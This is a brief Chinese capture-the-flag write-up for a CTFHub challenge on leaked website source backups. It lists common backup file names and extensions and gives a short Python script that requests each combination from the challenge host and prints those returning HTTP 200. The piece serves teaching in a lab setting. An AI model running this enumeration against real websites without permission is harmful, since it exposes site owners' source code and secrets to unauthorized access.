题目描述
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
Solution
常见的网站源码备份文件后缀:
tar
tar.gz
zip
rar
常见的网站源码备份文件名:
web
website
backup
back
www
wwwroot
temp
我们根据此编写 Python 脚本穷举每一个可能:
import requests
url = "http://challenge-c50bcce7f9b4dc5c.sandbox.ctfhub.com:10800/"
file_suffix = ["tar", "tar.gz", "zip", "rar"]
file_name = ["web", "website", "backup", "back", "www", "wwwroot", "temp"]
for i in file_name:
for j in file_suffix:
url_current = url + i + "." + j;
resp = requests.get(url_current)
if resp.status_code == 200:
print(url_current)
运行结果如下:
我们浏览器访问,将其下载到本地:
但是那个 Flag 文件打开一看,什么都没有:
注意,这是网站源码,我们可以尝试在浏览器访问这个文件: